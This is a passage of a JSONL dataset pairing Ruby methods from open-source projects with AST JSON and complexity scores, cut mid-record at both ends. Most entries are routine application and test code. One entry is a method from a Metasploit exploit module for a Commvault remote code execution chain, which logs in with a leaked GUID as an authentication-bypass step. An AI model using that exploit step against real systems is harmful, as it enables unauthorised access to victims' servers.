end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"req\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"string_block\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_block\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_parsed?\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_block\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_title\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_block\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_block\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"04b8fb4a-03f9-448c-95d9-b892a4e25aff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/integrations/slash_commands_controller.rb","start_line":39,"raw_source":"def cached_params\n        @cached_params ||= Rails.cache.fetch(cache_key)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cached_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]}]}]}]}","id":"03210956-8c11-4b36-b4f0-abf0bea28930"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/errors/incomprehensible_source_error.rb","start_line":38,"raw_source":"def long_message\n        format(LONG_TEMPLATE,\n               message: message,\n               exception: cause.inspect,\n               original: cause.backtrace.join(\"\\n\\t\"))\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"long_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"LONG_TEMPLATE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cause\"]},\"inspect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cause\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\\t\"]}]}]}]}]}]}","id":"8d17249c-0fe9-4fdc-b4b9-18dc33861fc2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb","start_line":208,"raw_source":"def login_as_publicsharinguser(password)\n    # Use the leaked GUID value to login as the _+*PublicSharingUser_* user (CVE-2025-57788)\n    # This level of access is used to leak the host name via a low-privilege authenticated API endpoint\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),\n      'ctype' => 'application/json',\n      'data' => {\n        'username' => '_+_PublicSharingUser_',\n        # Passwords are base64 encoded for login\n        'password' => Base64.strict_encode64(password)\n      }.to_json\n    )\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"login_as_publicsharinguser\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"commandcenter\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"_+_PublicSharingUser_\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]},\"to_json\"]}]}]}]}]}","id":"0d1519bd-6a15-4a08-947c-6d0a23352d52"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/shared/drag_and_drop_helper_spec.rb","start_line":52,"raw_source":"def drag_release\n  page\n    .driver\n    .browser\n    .action\n    .release\n    .perform\nend","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"drag_release\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"browser\"]},\"action\"]},\"release\"]},\"perform\"]}]}","id":"16b3cf46-9c27-404d-827e-f7c6f6c3df95"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/manager.rb","start_line":196,"raw_source":"def self.cache_fullpath\n    path = \"#{Rails.root}/#{CACHE_PATH}\"\n    return path if !Rails.env.test?\n    File.join(path, \"test_#{ENV[\"TEST_ENV_NUMBER\"].presence || \"0\"}\")\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cache_fullpath\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CACHE_PATH\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEST_ENV_NUMBER\"]}]},\"presence\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]}]}]}","id":"fa290b75-8199-401d-8069-7c7775da7c36"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/report_markdown.rb","start_line":65,"raw_source":"def generate_metadata\n    MarkdownTable.new(\n      :headings =>\n        ['Application path', 'Rails version', 'Brakeman version', 'Started at', 'Duration']\n    ) do |t|\n      t.add_row([\n        tracker.app_path,\n        rails_version,\n        Brakeman::Version,\n        tracker.start_time,\n        \"#{tracker.duration} seconds\",\n      ])\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MarkdownTable\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headings\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Application path\"]},{\"type\":\"str\",\"children\":[\"Rails version\"]},{\"type\":\"str\",\"children\":[\"Brakeman version\"]},{\"type\":\"str\",\"children\":[\"Started at\"]},{\"type\":\"str\",\"children\":[\"Duration\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"add_row\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"app_path\"]},{\"type\":\"send\",\"children\":[null,\"rails_version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"start_time\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"duration\"]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]}]}]}]}]}","id":"02cf650c-6006-401e-bb80-5849656a2635"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20250627121119_change_default_main_menu_color.rb","start_line":40,"raw_source":"def update_color(old, new)\n    execute <<-SQL.squish\n      UPDATE design_colors\n      SET hexcode = '#{new}'\n      WHERE variable = 'main-menu-bg-color' AND hexcode = '#{old}'\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_color\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old\"]},{\"type\":\"arg\",\"children\":[\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      UPDATE design_colors\\n\"]},{\"type\":\"str\",\"children\":[\"      SET hexcode = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"      WHERE variable = 'main-menu-bg-color' AND hexcode = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},\"squish\"]}]}]}","id":"fda4343d-5361-4115-965d-33465a0b34df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/lib/project.rb","start_line":7,"raw_source":"def delete_projects(project_ids, api_client, dry_run = false)\n          if dry_run\n            $stdout.puts \"Following #{project_ids.length} projects would be deleted:\"\n          else\n            $stdout.puts \"Deleting #{project_ids.length} projects...\"\n          end\n\n          project_ids.each do |project_id|\n            request_url = Runtime::API::Request.new(api_client, \"/projects/#{project_id}\").url\n            parsed_body = parse_body(get(request_url))\n            path = parsed_body[:path_with_namespace]\n            created_at = parsed_body[:created_at]\n\n            if dry_run\n              $stdout.puts \"#{path} - created at: #{created_at}\"\n            else\n              $stdout.puts \"\\nDeleting project #{path} - created at: #{created_at}\"\n              delete_response = delete(request_url)\n              dot_or_f = delete_response.code.between?(200, 300) ? \"\\e[32m.\\e[0m\" : \"\\e[31mF - #{delete_response}\\e[0m\"\n              print dot_or_f\n            end\n          end\n        end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_ids\"]},{\"type\":\"arg\",\"children\":[\"api_client\"]},{\"type\":\"optarg\",\"children\":[\"dry_run\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Following \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" projects would be deleted:\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" projects...\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"api_client\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]},\"url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parsed_body\",{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"lvar\",\"children\":[\"request_url\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path_with_namespace\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" - created at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nDeleting project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" - created at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"delete_response\",{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"lvar\",\"children\":[\"request_url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dot_or_f\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_response\"]},\"code\"]},\"between?\",{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"str\",\"children\":[\"\\u001b[32m.\\u001b[0m\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u001b[31mF - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_response\"]}]},{\"type\":\"str\",\"children\":[\"\\u001b[0m\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"lvar\",\"children\":[\"dot_or_f\"]}]}]}]}]}]}]}]}","id":"c5698b4b-3d66-4064-b3fb-4b02be2c6f79"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/project_storages_controller.rb","start_line":92,"raw_source":"def ensure_connection_url\n    oauth_clients_ensure_connection_url(\n      oauth_client_id: storage.oauth_client.client_id,\n      storage_id: storage.id,\n      destination_url: request.url\n    )\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_connection_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"oauth_clients_ensure_connection_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oauth_client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"oauth_client\"]},\"client_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destination_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"url\"]}]}]}]}]}","id":"fac4db31-d8b3-4405-b451-ae0b4740e3ca"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":571,"raw_source":"def test_select_tag_with_nil_option_tags_and_include_blank\n    actual = select_tag \"places\", nil, include_blank: true\n    expected = %(<select id=\"places\" name=\"places\"><option value=\"\" label=\" \"></option></select>)\n    assert_dom_equal expected, actual\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_tag_with_nil_option_tags_and_include_blank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"select_tag\",{\"type\":\"str\",\"children\":[\"places\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<select id=\\\"places\\\" name=\\\"places\\\"><option value=\\\"\\\" label=\\\" \\\"></option></select>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"b388a285-dda6-4d45-bc6c-ea5f9e757b56"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/recursive_denormalized_has_many_test.rb","start_line":65,"raw_source":"def test_on_cache_hit_record_should_publish_one_dehydration_notification\n    events = 0\n    subscriber = ActiveSupport::Notifications.subscribe(\"dehydration.identity_cache\") do |_, _, _, _, payload|\n      events += 1\n      assert_equal(\"Item\", payload[:class])\n    end\n    Item.fetch(@record.id)\n    assert_equal(1, events)\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_on_cache_hit_record_should_publish_one_dehydration_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"dehydration.identity_cache\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"8282d8c1-41f0-4279-8025-b41524738c25"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/literal_in_interpolation.rb","start_line":72,"raw_source":"def array_in_regexp?(node)\n          grandparent = node.parent.parent\n          node.array_type? && grandparent.regexp_type?\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"array_in_regexp?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"grandparent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"parent\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"array_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grandparent\"]},\"regexp_type?\"]}]}]}]}","id":"40c6e257-3a87-4aa6-95d7-0dd9169cb4bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/auxiliary/juniper_spec.rb","start_line":20,"raw_source":"def print_good(_str = nil)\n      raise StandardError, 'This method needs to be stubbed.'\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_good\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_str\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"str\",\"children\":[\"This method needs to be stubbed.\"]}]}]}","id":"0bb63b66-d7cd-453b-9425-d0be894c45b6"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_action.rb","start_line":209,"raw_source":"def update_counters\n    # Update denormalized counts\n    column = \"#{post_action_type_key}_count\"\n    count = PostAction.where(post_id: post_id).where(post_action_type_id: post_action_type_id).count\n\n    # We probably want to refactor this method to something cleaner.\n    case post_action_type_key\n    when :like\n      # 'like_score' is weighted higher for staff accounts\n      score =\n        PostAction\n          .joins(:user)\n          .where(post_id: post_id)\n          .sum(\n            \"CASE WHEN users.moderator OR users.admin THEN #{SiteSetting.staff_like_weight} ELSE 1 END\",\n          )\n      Post.where(id: post_id).update_all [\n                     \"like_count = :count, like_score = :score\",\n                     count: count,\n                     score: score,\n                   ]\n    else\n      if ActiveRecord::Base.connection.column_exists?(:posts, column)\n        Post.where(id: post_id).update_all [\"#{column} = ?\", count]\n      end\n    end\n\n    topic_id = Post.with_deleted.where(id: post_id).pick(:topic_id)\n\n    # topic_user\n    if post_action_type_key == :like\n      TopicUser.update_post_action_cache(\n        user_id: user_id,\n        topic_id: topic_id,\n        post_action_type: post_action_type_key,\n      )\n    end\n\n    Topic.find_by(id: topic_id)&.update_action_counts if column == \"like_count\"\n  end","complexity_score":50.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_counters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_action_type_key\"]}]},{\"type\":\"str\",\"children\":[\"_count\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[null,\"post_id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_action_type_id\"]},{\"type\":\"send\",\"children\":[null,\"post_action_type_id\"]}]}]}]},\"count\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_action_type_key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"like\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[null,\"post_id\"]}]}]}]},\"sum\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CASE WHEN users.moderator OR users.admin THEN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"staff_like_weight\"]}]},{\"type\":\"str\",\"children\":[\" ELSE 1 END\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"post_id\"]}]}]}]},\"update_all\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"like_count = :count, like_score = 